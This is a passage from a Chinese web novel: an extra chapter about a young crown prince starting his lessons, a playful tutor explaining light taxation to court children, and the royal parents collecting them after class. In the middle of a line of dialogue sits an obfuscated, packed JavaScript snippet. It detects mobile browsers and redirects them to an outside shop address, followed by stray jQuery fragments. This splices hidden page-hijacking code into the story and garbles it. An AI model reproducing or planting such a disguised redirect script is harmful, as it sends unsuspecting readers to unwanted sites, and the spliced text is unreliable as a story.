他说着兴奋地拽了拽父亲胸前的衣襟:“爹爹说得一点都没错诶!” 被说中的杨纨绫全身打了个激灵,一张小脸红得跟熟透的苹果一样,甚至红透到了耳根,脸上的神情快要急哭了:“呜,我真的没有......” 见到他恼羞的模样,众人都笑了。 今日春和景明,谁也不知,在十年以后,大楚真的出现了一位悬壶济世的医圣。 那人出自钟鼎之家,却行走天下,救治了无数百姓。 他与他那三位兄长,在百年后一同配享太庙,受后世千万人供奉。 159. 番外八:小太子开蒙 小家伙至六岁时,便要开蒙了。 太子开蒙自是与常人不同,不禁要在朝中为他择寻三师三少,还要在世家勋贵之中为他挑选年岁相当的伴读。 而这,也是太子最初的势力。 于伴读一事,那些世家子弟在经过精心挑选之后,苏若琳便在皇宫设茶,请那些子弟的母亲带着孩子前来,让小家伙和那些孩子单独相处,联络联络感情。 而负责给小家伙授课的先生,萧怀琳看中的自然是当朝的两位丞相。 张辅之昔年领了个太师的虚衔,代行丞相之职,如今让他来作为太子的太师,教授小家伙渊博的学识,开拓小家伙的眼界,倒也算是名正言顺了。 祝贤盛自不必说,苏若琳的几个孩子都是他亲手开蒙,一手教出来的,让他作为太傅,教导小家伙治国理政,无人有异议。 除此之外,杨纨玦任少保,杨纨枫任少傅,杨纨岚任少师,几人轮流给小家伙授课。 于是,小家伙最初的班底就形成了。 其实即便是在大户人家,六岁的开蒙也是有些早了,楚朝对于婚育的要求并不严苛,因此大多数孩子都是在七八岁之时开蒙。 但是呢,大家毕竟对这位小太子抱有殷切的期望。 看看他爹,十六岁入沙场,征战四方,威名赫赫,开创大楚盛世。 再看看他兄长,大哥十六岁科举入仕,后任禁军统领,文韬武略;二哥连中六元,经韬纬略,十四岁便能统领整个吏部;三哥少年离家,周游四方,三次散尽家财济世,三次白手起家,如今对于户部尚书之位更是势在必得。 都说虎父无犬子,既然父兄皆天纵奇才,那这小家伙定然也差不到哪去吧? 自然是不差的。 除了这小子从小就被宠着惯着,太过顽皮,为了不去上课要么躲起来,要么装病,花样百出,每日都得和宫女太监们耗上小半个时辰。 若是真的耗了半个时辰这小子还没去上课,苏若琳就会拿着鸡毛掸子过来找人,最后小家伙只能龇牙咧嘴地被送去文华殿。 至于到了文华殿之后,小家伙的几个先生倒是各有方法稳住这帮小屁孩。 张辅之和祝贤盛自不必说,人往那一站,那眉心间的沟壑,那犀利的眼神,那饱经风霜的皱纹,直接就把这帮不懂事的小孩给镇住。 杨纨玦的课是教授这帮孩子习武,训练这帮孩子就像是训练一帮新兵蛋子,真有不懂事的时候,一个眼神扫过去,登时给他们吓得不敢乱动。 杨纨枫的课由于讲授的是治国理政,主要针对的是小家伙自己,那些伴读若是有认真听讲向他提问的,他自会耐心解释,至于那些不听讲的,只要不在上课时捣乱,他也就睁一只眼闭一只眼了。 至于杨纨岚的课嘛。 他的课是孩子们最喜欢的课。 杨纨岚年少时周游四方,所有的所见所闻,都被他变成了一个个生动的故事,遇到一些稀奇古怪的东西,他还会在纸上画下来,让孩子们见识见识。 对于这样一个爱讲故事、还画好多图画哄他们玩的先生,有那个学生会拒绝呢? 于是每次杨纨岚刚一走进文华殿,就会被孩子们团团围住。 “三哥三哥,这次要给我们讲什么故事呀!” 小家伙不愧是太子,天生就是带有一些领导力的,六七岁的孩子,还不懂得什么是君臣之别,因此这帮孩子都和小家伙玩得很要好,但他们都发自内心地把小家伙当作大哥。 大哥喊少师叫“三哥”,于是他们也喊少师叫“三哥”。 不过他们也只敢这么喊杨纨岚了。 少师对他们很温柔,脸上总带着笑,他们喜欢;但是少傅和少保总是不苟言笑的,好凶啊。 尤其是少傅,不笑还好,一旦对他们笑了,那一定是那种很阴森可怕的冷笑。 而每当杨纨岚被孩子们簇拥着走进殿内,他就会抱起最中间的小家伙,然后伸出大长腿往桌子上一跨,就抱着小家伙一起坐在了桌子上。 “咳咳......”他往往会象征性地轻咳一声,然后开始缓缓道,“今天咱们要讲的故事,那就是——” 由于这小子上课一本书都不带,甚至连椅子都不坐,直接一屁股坐在桌子上,为此没少遭到百官弹劾。 彼时杨纨岚已经浸淫官场十余年,再也不是当初那个担心一个干得不好,就会被自家大哥抓进牢里的新官雏了。 啊?弹劾?爱弹弹去,有种你把我这身官袍给弹下来。 有关弹劾这一块的政务,绝大部分折子都会经由右相之手,因此这种弹劾一般都会被祝贤盛压下来。 只是后来弹劾的多了,他也忍不住想敲那小子:“你就非得坐在桌子上是吗,椅子上有钉子扎你屁股不成?” 杨纨岚摸了摸鼻子,不扎屁股,可是他腿太长了啊。 屈着腿坐在椅子上,太难受了。 他这般想着,在曾祖那点头哈腰了一番,然后依旧我行我素。 再后来,这弹劾的事连帝后也惊动了。 苏若琳无奈地揉了揉眉心,这孩子,可真是...... 打小就随心所欲惯了,他要画画家里人就供他画画,他要外出经商就让外祖亲自带他出去闯荡,如今就算是当了官,也没个正形。 萧怀琳倒是失笑地揽过爱人的肩:“倒是有点意思的,我先前问过咱们儿子的功课,纨岚讲得还不错。” “讲故事也能讲出个不错来?”苏若琳看向心上人的眼眸中带着一丝质询。 若是增长见识也就算了,真要说功课,听故事能有什么功课? “自然是不错的,你去看一眼就懂了。”萧怀琳说着牵起爱人的手,“正巧今日是纨岚给那些孩子授课,走,咱们去接儿子下课。” 这话说的苏若琳心弦微动,此情此景,就好像他们到了自己的前世,一对平凡的夫妻去学校里接孩子放学一样。 她低低地笑了。 两人很快就到了文华殿,值守的公公看到帝后前来,刚要开口,便见到陛下对他轻轻摇了摇头,连忙闭上了嘴巴。 殿内传来了孩子稚嫩的声音:“所以,轻徭薄赋,就可以让大楚变得更好吗?” 彼时,杨纨岚正坐在殿内最中间的那张桌子上,小家伙和伴读们全都反骑着椅子,像是骑在马背上的小战士一样。 那些孩子们围在杨纨岚的四周,睁着一双双好奇的大眼睛望着他。 “对啊。”杨纨岚说着展开手中的扇子,有模有样地摇了两下,就如同茶馆里的说书人,“只要国库不缺钱,轻徭薄赋,跟百姓们少收些钱,大楚就会变得更加繁荣。” “可是为什么要少收钱啊?”另一个孩子发出疑问,“我爹爹说了,钱这种东西,永远不嫌多,就算国库不缺钱,但是钱越来越多不是好事吗?” “对啊对啊。”又有一个孩子跟着附和,“我们家结交往来,互相赠礼的都是名门勋贵,然后我们家也能得到别人家的回礼。” “可是如果把钱给百姓的话,我们能得到什么呢?”那个孩子问道。 “哎哟,那能得到的东西可就多咯。”杨纨岚笑着揉了揉那几个孩子的头,“要比那些勋贵的回礼要好上千倍百倍呢!” 此言一出,四周的一双双大眼睛全都亮了:“是什么呀!” 杨纨岚轻咳了一声,伸出一根手指:“我举个例子啊。” “如果我有五十两黄金给你们的父亲,这就是送给名门勋贵了,你们觉得你们的父亲拿到五十两黄金之后会感谢我吗?” 有一个孩子立马摇头:“五十两黄金?太少了。” 他爹先前收到同僚送的一幅画都值千两黄金呢! “我知道!”坐在最前面的小家伙举起手,“他们的父亲不会感谢你,说不定都看不上!” “你可真是个小人精。”杨纨岚哭笑不得地捏了捏幼弟的鼻子。 “是,如果我把五十两黄金送给名门勋贵,他们非但不会感谢我,可能还会嫌弃我给的太少,而对我心存怨恨。” “可是如果我把这五十两黄金分给一百个吃不饱饭的平民,你们猜他们会怎么样呢?”杨纨岚故作神秘地看着这些孩子。 这些孩子都纷纷皱起了小眉头:“唔......” “他们肯定会感谢你!”小家伙思索道。 杨纨岚哈哈大笑:“对,这一百个人肯定会感谢我。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183633|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “他们不仅会感谢我,他们还会对我感恩戴德,会把我看作救他们性命的大恩人,说我是菩萨转世,到处宣扬我的美名。” “国家安稳之际,他们会称赞我是仁德明君,会说我是大善人,让我流芳百世,名垂青史。” “家国危难之际,因为这半两黄金,他们愿意为了我上战场,成为视死如归的勇猛战士;届时无论我身处怎样的境遇,他们都会效忠于我,成为我最忠实的追随者;身处乱世之中,这一百人都将成为我不可撼动的势力。” 杨纨岚最后看着那些孩子,目光炯炯:“那你们说,把这五十两黄金给勋贵亦或是给平民,到底哪种最值得呢?” “给平民!”一个孩子兴奋地举起手,“只用五十两黄金,就能买到仁德的美名、勇猛的战士、忠心的下属,这不比去给勋贵们热脸贴冷屁股好多了!” 听到了热脸贴冷屁股这么粗俗的词语,殿内笑成一团。 那个孩子也不好意思地红着脸笑了。 从前在家里,父母都不允许他说这样粗鄙的话,其他先生听到这样的话也不高兴,只有在少师先生的面前,他们可以肆无忌惮。 只是大家笑过之后,也都明白了。 最后杨纨岚总结道:“平民百姓啊,是天底下最容易满足的一群人了,只要有一点赏赐,他们就愿意维护你,为了你出生入死。” “甚至于,轻徭薄赋还不是给他们钱,而是向他们少收一点钱,他们就会对你感激涕零。”杨纨岚说着合上手里的扇子,“大家都回去动动自己的小脑瓜好好想一想,好了,时辰到了,下课!” 杨纨岚话音刚落,殿内顿时响起了一阵欢呼声。 苏若琳正在门头听得津津有味,一听说下课了,不由得看向守在一旁的太监:“现在是个什么时辰了?” 那太监恭敬道:“回禀娘娘,还有半刻钟便是酉时。” 苏若琳不禁失笑。 好小子,提前下课是吧。 怪不得招孩子们喜欢呢。 那些伴读孩子们已经纷纷跑了出来,转角便见到了帝后站在门后,吓得连忙行礼:“见过陛下和娘娘!” 看着这些孩子白白净净的小脸蛋,明亮单纯的大眼睛,苏若琳慈爱地冲他们挥了挥手:“回家路上注意安全。” 哎呀,她最喜欢懂礼貌又干净的人类幼崽了。 “好,谢谢陛下,谢谢娘娘!”那些孩子们欢笑着跑远了。 最后,杨纨岚也牵着小家伙的手也走了出来。 小家伙见到自己的父母,登时就开了哥哥的手,朝着苏若琳飞奔而去。 “爹爹,娘亲!” 小家伙像个小炮弹一样冲了过来,萧怀琳见状连忙挡到了爱人的身前,稳稳地把这枚小炮弹给接住了。 杨纨岚也笑着走了过来:“母亲,陛下!” 当着小家伙的面,他们兄弟几个到底是避讳喊萧怀琳“大哥”,不然这孩子就得怀疑自己的辈分了。 苏若琳含笑着抬起头,看向已经完全长成大人的儿子:“纨岚讲得真好。” 今年已经二十有二的杨纨岚被母亲夸奖,羞涩地笑了。 小家伙一手牵着母亲,一手牵着父亲,高兴道:“爹爹和娘亲是来接我的吗!” 苏若琳刚想开口说一句“对呀”。 结果就听到身侧的心上人幽幽道:“不是,我们是来接你三哥的。” 小家伙顿时不满地叫了起来:“不对!爹爹和娘亲就是来接我的!” 然后他松开了萧怀琳的手,转过头去牵杨纨岚:“那我和娘亲三哥走,爹爹自己回家!” 苏若琳笑着揉了揉儿子的头:“可是爹爹带娘亲来接你下课的呀,真的不带爹爹走吗?” 闻言,小家伙这才高兴地哼了一声:“我就知道,爹爹就是口是心非。” 众人都笑了。 萧怀琳温柔地看着自己的儿子,小家伙的眉眼长得像极了他的母亲,恰好长成了自己最心爱的模样。 他心想,自己前半生所经历的那些苦难,也许就是为了如今能看到,这个承载着自己和挚爱的孩子无忧无虑地成长,长成天底下最明媚的少年吧。